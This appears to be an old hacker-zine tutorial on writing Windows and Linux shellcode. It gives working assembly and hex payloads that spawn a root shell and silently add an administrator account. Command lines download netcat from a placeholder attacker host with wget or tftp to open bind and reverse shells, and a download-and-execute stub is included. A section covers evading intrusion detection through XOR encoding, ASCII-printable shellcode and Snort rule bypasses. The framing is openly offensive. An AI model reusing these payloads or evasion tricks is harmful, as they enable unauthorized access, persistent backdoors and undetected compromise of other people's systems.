“Practical Windows and Linux Shellcode design”
by Nomenumbra

0x00) Intro

Most of the time, the core action preformed when rooting a box is exploitation. But what would an exploit be without shellcode? Nothing.. Shellcode is what makes you want to exploit something. For the people who are new to this shit, shellcode is opcode, machine code. For example, in windows, the assembly instruction “push eax” is transformed into 0x50. When exploiting something, you manage to trick the target program into executing your shellcode, to take control of the target system. This paper is an introduction to the design of shellcode on both windows and linux platforms. Basic knowledge of exploitation and ASM (x86, both windows and linux) is required.

0x01) Linux shellcode design

For demonstration of basic linux shellcode designing techniques we'll assume your linux box runs on an x86processor. Since shellcode gets parsed into a string, we should avoid the prescence of the null-byte (0x00) at ALL cost, since it'll be interpreted as a string-terminator, and we don't want that, now do we? To avoid using the null-byte, we'll sometimes xor values in odd ways, use 8-bit or 16-bit registers when possible rather than32 bit and sometimes uses indirect constructions.
For an introduction we'll start with a simple piece of shellcode, one that executes a shell (/bin/sh) with root privileges (assuming the exploited program is running with root priveleges).
Systemcall numbers can be found in /usr/include/asm/unistd.h

Take a look at the following piece of shellcode:

```
[BITS 32]
  xor eax,eax ; to use zero values without having null-bytes  in our shellcode
  mov al,70   ;  70 in al (to avoid null-bytes), setreuid systemcall is #70
  xor ebx,ebx ; real uid to 0 (root)
  xor ecx,ecx ; effective uid to 0 (root)
  int 0x80
  jmp short fetch ; fetch address on stack
retv:
  pop ebx ; address of '/bin/shXAAAABBBB'
  xor eax,eax ; 0
  mov [ebx+7],al ; X in the string becomes a null-byte to let /bin/sh serveas the first param of execve
  mov [ebx+8],ebx ; AAAA becomes address of the string
  mov [ebx+12],eax ; becomes 0, a null address
  mov al,11 ; execve's systemcall is #11
  lea ecx,[ebx+8] ; address of AAAA (now the address of the string) loaded in ecx
  lea edx,[ebx+12] ; address of BBBB(now the null-address) loaded in edx
  int 0x80
fetch:
  call retv ; push address of '/bin/shXAAAABBBB' on the stack.
  db '/bin/shXAAAABBBB' ; no terminating 0 byte to avoid null-bytes, add AAAABBBB for
;arguments of execve, which are pointers to pointers, AAAA will contain the 4-byte long address of
;the address of the whole string, while BBBB will be a NULL address
```

Very nice, we once we get the exploitable program to execute this shellcode it will spawn a rootshell ready for use (this is obviously only usefull for local exploits).
Now, something else. Another nice thing to do, to gain quick remote access is by making the target box download some program (for example netcat) and execute it to gain remote access. Instead of executing /bin/sh, we could make execve execute /usr/bin/wget like this:

/usr/bin/wget somehost/netcat.exe ; netcat.exe -l -p 31337 -e /bin/sh

this will download netcat.exe from somehost, and bind it to port 31337 with inbound execution of /bin/sh to grant a bindshell to anyone who connects to port 31337 on the target box. We could do an endless ammount of things, from chmodding /etc/shadow to 666 to copying /bin/sh to /whatever and chowning it to root, and chmodding is +s to grant a backdoor rootshell to anyone. Or we could add an extra user with adduser (or by directly modifying the /etc/shadow & /etc/passwd file). Another nice thing to do would be to spawn a bindshell without relying on netcat.
Other things (like a reverse shell) are relatively easy to do, once you know the syscalls to use and what arguments they require.

0x02) Windows Shellcode design

First of all i'd like to make clear Windows shellcode differs A LOT from Linux shellcode. To get something done in Windows we'll have to make use of the Windows api's. There are two ways to use your api's, either by using hardcoded addresses or by using relative addressing. Using hardcoded adresses makes your shellcode a lot smaller, but in some cases more instable, since the location of WinExec on english systems isn't the same as on german systems or spanish systems. Since most shellcode will be transferred or somehow parsed into a string, we must AT ALL COST avoid the prescence of a null-byte (0x00) in our shellcode, since it will be interpreted as a string-terminator, that's why we'll xor a lot of stuff, and use 16 bit regs in favor of 32 bit sometimes.
To test your shellcode you should use the following c++ app:

```
BYTE shellcode[] = “youshellcodehere”;

int main()
{
        void *ad = malloc(10000);
        memcpy(ad,shellcode,sizeof(shellcode));
        __asm
   {
                mov eax,ad
                call eax
   }
        free(ad);
        return 0;
};
```

this app will copy the address of the shellcode to ad, then place ad in eax and make a call to eax, so that the shellcode gets executed and returns neatly to the app again.
To fetch the hardcoded address of an API we'll use Arwin V.01 by dissonance, a simple app that locates the address of a function in a DLL.
We'll start with a simple example, a “hello world” message. We'll use the following api:

MessageBoxA located in user32.dll

ExitProcess located in kernel32.dll

```
C:\shellcode>arwin user32.dll MessageBoxA
arwin - win32 address resolution program - by dissonance - v.01
MessageBoxA is located at 0x77d3e824 in user32.dll
C:\shellcode>arwin kernel32.dll ExitProcess
arwin - win32 address resolution program - by dissonance - v.01
ExitProcess is located at 0x77e59863 in kernel32.dll
```

This address might (very likely will) differ on your box. I'll be using tasm to generate my shellcode.

```
.386
.model flat
.code
start:
	xor eax,eax ; set to 0
	jmp short tst ; jump there, to push the address of “hi2uN” on the stack
rtv:
	pop ecx ; address of “hi2uN”
	mov [ecx+4],al ; make “N” 0 (string terminator)
	push eax ; push 0
	push ecx ; push offset “hi2u”,0
	push ecx ; push offset “hi2u”,0
	push eax ; push 0
	mov eax,77d3e824h ; call MessageBoxA
	call eax
	mov eax,77e59863h ; call ExitProcess
	call eax
tst:
call rtv ; return
db "hi2uN" ; message, ending in N to prevent nullbytes in shellcode
end start
```

To assemble:

```
tasm32 /mx /m3 /z /q hello.asm
tlink32 -x /Tpe /aa /c hello,hello,, import32.lib
```

Nice, one more thing, because tasm doesn't set the executable's .code section properties to writeable, the code can't modify itself in memory, so we'll need to either modify the properties manually or use a tool, I use editbin.exe ,which comes with Microsoft Visual C++. Usage: Editbin.exe /SECION:CODE,w hello.exe.
Ok, now let's get the shellcode. Fire up OllyDbg and load hello.exe. You'll see the code goes from 0x33 to 0x4E, after that we only have 0x00. Now copy that piece of code (either by fetching it with a hex-editor or directly from OllyDbg) and parse it in a string (I presume you write a quick tool to do this, since it'll take a LOT of time doing it by hand each time) to get this:

```
“\x33\xc0\xeb\x16\x59\x88\x41\x04\x50\x51\x51\x50\xb8\x24\xe8\xd3\x77\xff\xd0\xb8\x63\x98\xe5\x77\xff\xd0\xe8\xe5\xff\xff\xff\x68\x69\x32\x75\x4e”
```

How nice, our first piece of windows shellcode :D.

Ok, now on to something usefull.....

There are multiple actions we could preform with our shellcode that would benefit our intrusion. To name some basic things:

-)Add extra admin account (nice, but not stealthy)
-)Download and execute some file (Rootkit, sniffer, keylogger ,etc, etc)
-)Spawn bindshell

Ok, to add an extra admin account we would execute the following command:

cmd.exe /c net user omfg pass /add & net localgroup Administrators /ADD omfg

cmd.exe /c uses the windows command shell to execute one or more commands (linked with &)

We'd need the address of WinExec, to execute our command. Arwin tells me the address of WinExec is 0x77E4FD60, so our shellcode would look like like follows in asm:

```
.586p
.model flat

.code
start:
	xor eax,eax ; set to zero
	jmp short GtSt ; to push address
retv:
	pop ecx
	mov [ecx+70],al ; zero termination
	push eax ; push 0 (SW_HIDE)
	push ecx ; push offset “cmd.exe .....
	mov eax,77E4FD60h  ; call WinExec
	call eax
	mov eax,77e59863h ; call ExitProcess
	call eax
GtSt:
call retv
db "cmd.exe /c net user 0x ps /ADD & net localgroup Administrators /ADD 0xN"
end start
```

This code will add a use “0x” (I chose to use a short username and pass to decrease shellcode size) with “ps” as password as an admin (assuming the exploited process runs with admin privileges). Converted to shellcode it'll look like:

“\x33\xc0\xeb\x14\x59\x88\x41\x46\x50\x51\xb8\x60\xfd\xe4\x77\xff\xd0\xb8\x63\x98\xe5\x77\xff\xd0\xe8\xe7\xff\xff\xff\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f\x63\x20\x6e\x65\x74\x20\x75\x73\x65\x72\x20\x30\x78\x20\x70\x73\x20\x2f\x41\x44\x44\x20\x26\x20\x6e\x65\x74\x20\x6c\x6f\x63\x61\x6c\x67\x72\x6f\x75\x70\x20\x41\x64\x6d\x69\x6e\x69\x73\x74\x72\x61\x74\x6f\x72\x73\x20\x2f\x41\x44\x44\x20\x30\x78\x4e”

How sexy....

Downloading and executing a file could be done like this:

cmd /c tftp -i <somehost> GET somefile.exe somefile.exe & somefile.exe

this would download somefile.exe from <somehost> with tftp, put it in the current directory as somefile.exe and execute it. We could do a LOT with this, like:

cmd /c tftp -i <somehost> GET netcat.exe netcat.exe & netcat.exe -L -p 1337 -e cmd.exe,

which would spawn a bindshell on port 1337 or

cmd /c tftp -i <somehost> GET netcat.exe netcat.exe & netcat.exe <attackerbox> 1337 -e cmd.exe

which would (if the attacker set up a listening shell (netcat.exe -l -p 1337) on his box) grant him a reverse shell. The variative ammount is endless. But we shouldn't rely on tftp, since we can do this with a simple API too. UrlDownloadToFileA, located in urlmon.dll.

The prototype defenition:

```
URLDownloadToFileA (
        LPUNKNOWN pCaller,
        LPCTSTR szURL,
        LPCTSTR szFileName,
        DWORD dwReserved,
        LPBINDSTATUSCALLBACK lpfnCB
        );
```

assuming ecx would contain the offset of the filename, edx the offset of the url (obtained like we did with the strings used by WinExec) and eax the address of URLDownloadToFileA (obtained with, for example, GetProcAddress), the code would look like:

```
        xor ebx, ebx        ; ecx = 0
        push ebx            ; lpfnCB
        push ebx            ; dwReserved
        push ecx            ; szFileName
        push edx            ; szURL
        push ebx            ; pCaller
        call eax            ; call URLDownloadToFileA
```

We could do a lot more stuff (like self-replicating shellcode), but I leave that to your fantasy.

0x03) Evading IDS

Well, you shellcode is of no use if it gets picked up by an IDS system, and flies a red flag with the admin, so it's important to disguise you shellcode, either by encoding it or by using several other tricks.
One way to prevent detection is described in phrack #62 phile 0x07. The banner that gets displayed when we start a shell might be picked up by IDS systems:

```
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\Documents and Settings\username
```

To avoid getting detected this way we could do cmd /k, effectively eleminating the display of the banner. Another rule tries to detect the “dir” command by checking for the string “Volume Serial Number”, we could circumenvent this rule by using “dir /b”. Let's take a look at an actual snort rule:

alert udp $EXTERNAL_NET any -> $HOME_NET 69 (msg:"TFTP Get"; content:"|00 01|"; depth:2; classtype:bad-unknown; sid:1444; rev:3;)

This rule checks if TFTP is used to fetch something. To bypass this rule, we could copy C:\windows\system32\tftp.exe to C:\ptft.exe, effectively bypassing this rule. We could do thousands of and more of these things, aimed @ bypassing a single IDS, but it's far more usefull to use a way that's armoured against multiple IDS systems, for example encoding. Encoding your shellcode would go as follows:

```
.386
.model flat
.code
start:
      jmp short Fcb
goback:
      pop eax
      mov cl,24
Decrypt:
      xor byte ptr [eax],2
      inc eax
      loop Decrypt
      jmp cryptB
Fcb:
      call goback
cryptBegin:
    <etc,etc, your code here>
```

in this example we start at the offset of CryptBegin and decode the next X bytes (the rest of the shellcode) before they are run. To implement this shellcode we'd have to encode all bytes from the address of cryptBegin (in this case with a simple Xor operation).

Another method to evade IDS systems is by using ASCII-printable shellcode. When your shellcode looks like normal benign input, most IDS systems won't suspect anything at all. To do this we need to construct our shellcode in a way that it's opcode bytes are printable as characters. That means all bytes must lie within the range of (0x20 -> 0x7E). Xor eax,eax sets eax to 0, but doesn't give us any printable code, so we need to find something else.

```
 and eax,454e4f4ah
 and eax,3a313035h
```

sets eax to 0 and gives us %JONE%501 in opcode, how nice. Some opcode instructions that are ASCII-printable:

```
push eax -> P
push ecx -> Q
push edx -> R
push ebx -> S
```

```
push esi  -> V
push edi  -> W
 pop eax  -> X
 pop ecx  -> Y
 pop edx  -> Z
 pop ebx ->  [
 pop esi  ->  ^
 pop edi ->  _
 jb short -> r
 jnb short -> s
 je short -> t
 jne short -> u
 inc eax -> @
 inc ecx -> A
 inc edx -> B
 inc ebx -> C
 etc,etc
```

as you can see, working with the stack gives you a lot of printable ascii code, as does increasing registries if the value you want to put in them isn't ASCII-printable, but a value that is close to it is, and you can use conditional jumps that always evaluate to a jump instead of an unconditional jump.

0x04) Resources

Phrack #62, phile 0x07, "*Advances in windows shellcode"*, by SK (http://www.phrack.org/phrack/62/p62-0x07_Advances_in_Windows_Shellcode.txt)

"The shellcoder's handbook", Jack Koziol et al.

"The Tao of windows buffer overflow", Dildog/cDc (http://www.cultdeadcow.com/cDc_files/cDc-351/index.html)

0x05) Greets && shoutz

Greets and shoutz go to the whole HTS community (the REAL community, not the posers) and hacking scene in general. And a big FUCK YOU goes to the whitehat community for being a lame paw of the globalist extortionists and trying to sell out the soul of our community.